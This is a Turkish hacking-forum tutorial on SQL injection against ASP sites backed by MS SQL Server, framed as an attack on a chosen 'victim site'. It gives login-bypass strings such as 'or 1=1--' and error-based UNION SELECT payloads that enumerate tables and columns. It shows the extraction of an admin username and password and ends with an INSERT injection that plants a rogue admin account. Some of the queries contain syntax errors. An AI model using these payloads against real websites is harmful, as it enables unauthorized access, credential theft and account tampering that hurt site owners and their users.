Asp sql injection

OnLy

Emektar
26 Ara 2005
837
26
Ötüken
ASP Sql Enjeksiyon a geçmeden önce bir kaç temel kavrama bakalim;

Database = Veritabani Nedir :

Veritabani verilerimizin düzenli olarak saklandigi dijital bir

ortamdir. Verilerimizi anlamli kilmak da bizim bilfimizi olusturur.

Veritabani Programlari:



Günümüzde, birçok firmanin ürettigi db programlari mevcuttur... Ama

bunlarin en bilinenleri ORACLE , SQL SERVER, MS ACCESS, FOX PRO'dur.



SQL Nedir :



Sql (Structured Query Language) bir veritabani dilidir.Uygulama

gelistiriciler, bir veritabanina yeni tablo veya veri eklerken,

silerken veya bir veriyi ararken bu dili kullanirlar.

Bu anlamda genis kabul görmüs bir standarttir. Örnegin MS ACCESS'te

bunu yapmanin baska yöntemleri de olsa, sonuçta Sql karsiligi her

zaman vardir. Örnek bir Sql ifadesi yazalim;

diyelim ki xchatx tablosundan Hack isimli dökümanin fiyatini bize

bulsun
smile.gif
Sql da sorgulamalar SELECT ile yapilir Bu sorgu yazilisi ;



SELECT fiyat FROM xchatx WHERE dokuman ismi="hack"



SELECT deyiminden sonraki gelen ilk ifade, sorgunun sonundaki WHERE

kriterine göre tespit edilen kriterlerin hangi alanlarinin

görüntülenecegi bilgisidir. FROM deyiminden sonraki ifade,

sorgulkamanin hangi tablodan yapilacagini bildirir. WHERE deyimi

ise , sorgulamanin hangi kriter ya da kriterlere göre yapilacagini

belirtmemizi saglar.



Iste SQL ENJEKSIYON DA ILK BASTA SITENIN DB sindeki TABLO Ismini

bilmemiz gerekmez mi sizce yoksa SELECT WHERE Falan nasi kullanalim

o nedenle SqL a ilk basta hata verdirip Tablo ismini ögrenmeliyiz.



SQL Hata verdirtmek için sunlar yapilabilir:



Asp sql enjeksiyondan bahsedecegim



Asp sitemizin tabiki db si ve sql si olan
smile.gif
search engine ya da

login barina :









Bunu yaziyoruz
smile.gif
Egeeer :



Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’



[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error

converting the nvarchar value ’xchatx1’ to a column of data type

int.



/index.asp, line 29





Burda illa da line 29 ve index.asp olmak zorunda degil tipa tip

aynisi olmayacak elbette sadece Sytntax error oracle falan çikmasi

lazim...





Baska türlü de sql a hata verdirebilirsiniz :



’ or 1=1--



" or 1=1--



’ or ’a’=’a



or 1=1--



’) or (’a’=’a



" or "a"="a







Bunlari da aynene deneyin ...

simdi o hatayi aldik da ne oldu diyorsaniz orda TABLE ismini

ögrendik
smile.gif
xchatx1 table namemimiz.



Simdi burdan diger tablolarinda ismini ögrenmemiz lazim...



SELECT* FROM xchatx1 WHERE dokumanID=’’ or 1=1--’



Burda yaptigimiz sey bize xchatx1 table inda dokumanIDsi bos olan

seyi getir ya da 1=1 degerine uyan tabloyu getir dedik burda feyk

attik SQL a yani.

Burdan diger table isimlerini de ögreniriz. Sonra istedigimiz seyi

SELECT WHERE deyimlerini kullanarak getiririz. Önümüze...





Simdi örnek bi saldiri yapalim ve yeni seyler ögrenelim biraz daha :



ilk önce kurban siteyi seçtik....



Baktik sql açigi da var ’ bu isaret ile test ettik açik var yani.



http://http://www.siteadi.org/index.asp?catid=3 UNION SELECT TOP 1

TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--



UNION SQL a birden çok soru sormak için kullandik.



INFORMATION_SCHEMA.TABLES-- ise hiç table ismi bilmedigimiz için

yazdik



Top 1 table_name ise en üstteki tablo anlamina geliyor.



Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’

[Microsoft][ODBC sql Server Driver][sql Server]Syntax error

converting the nvarchar value ’serles’ to a column of data type int.

/index.asp, line 23





Hatamizi aldik
smile.gif


Top 1 table_name serles mis!!



Simdi isimize yarayacak tablelari ögrenelim mesela admin table

larini burda da LIKE deyimini kullanicaz içinde admin geçen

kelimeleri getir bize SQL!!! dicez
smile.gif




http://www.siteadi.org/index.asp?catid=3 UNION SELECT TOP 1

TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ’%

25admin%25’--



Hatayi aliyoruz :



Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’

[Microsoft][ODBC sql Server Driver][sql Server]Syntax error

converting the nvarchar value ’admins’ to a column of data type int.

/index.asp, line 3



Burda admin diye baslayan admins diye bir table var. Simdi bu admins

table inin column yani sutünlarini ögrenme zamani!



Kodu yaziyoruz : http://www.siteadi.org/index.asp?catid=3 UNION

SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE

TABLE_NAME LIKE = ’admins’--





Burada da INFORMATION_SCHEMA.TABLES yerine

INFORMATION_SCHEMA.COLUMNS deyimini yazdik. Yani yine feyk attik

sql’e, o da bu feykimizi yedi:



Hatayi alalim :



Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’

[Microsoft][ODBC sql Server Driver][sql Server]Syntax error

converting the nvarchar value ’logonID’ to a column of data type

int.

/index.asp, line 22





ilk kolum LogonID çikti
smile.gif




Simdi 2. sütünü istiyoruz :



http://www.siteadi.org/index.asp?catid=3 UNION SELECT TOP 1

COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE

TABLE_NAME=’admins’ WHERE COLUMN_NAME NOT IN (’logonID’)--



Burda en tepede olan ama LogonID olmayani istedik ve hatayi görelim:



Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’

[Microsoft][ODBC sql Server Driver][sql Server]Syntax error

converting the nvarchar value ’logs’ to a column of data type int.



Ögrendik adi logs.



Artik sifre neredeyse geliyor kucagimiza
smile.gif




Önce Password ve detaillarina bakicaz.



http://www.siteadi.org/index.asp?catid=3 UNION SELECT TOP 1

COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE

TABLE_NAME=’admins’ WHERE COLUMN_NAME NOT IN

(’logonID’,’logs’,’password’,details’)--



Hata :



Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’

[Microsoft][ODBC sql Server Driver][sql Server]ORDER BY items must

appear in the select list if the statement contains a UNION

operator.

/index.asp, line 4



iki sütün var sansimiza güvenelim ilk logonu deneyelim :



http://www.siteadi.org/index.asp?catid=3 UNION SELECT TOP 1 logon

FROM admins--



admins table indaki logon sütunundaki ilk ini seçiyoruz.



Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’

[Microsoft][ODBC sql Server Driver][sql Server]Syntax error

converting the nvarchar value ’xrealcrack’ to a column of data type

int.

/index.asp, line 7



ve admin nick geldi.



xrealcrack isimli kullanicinin sifresini ver bize SQL
smile.gif
:



http://www.siteadi.org/index.asp?catid=3 UNION SELECT TOP 1 password

FROM admins where logon=’ xrealcrack ’--



Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’

[Microsoft][ODBC sql Server Driver][sql Server]Syntax error

converting the nvarchar value ’albert8387vsc’ to a column of data

type int.

/index.asp, line 4



Sifremizi aldik albert8387vsc
smile.gif
ok artik hackledik..



Kendimiz de kullanici yaratabiliriz admins table inda logon column

ünde
smile.gif




Kodu : http://www.siteadi.org/index.asp?catid=3; INSERT

INTO ’admins’ (’logonID’, ’logon’, ’password’, ’details’) VALUES

(223,’Asutay’,’turkhackteam’,’NA’)--


isim asutay
sifre turkhackteam

saygilar
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.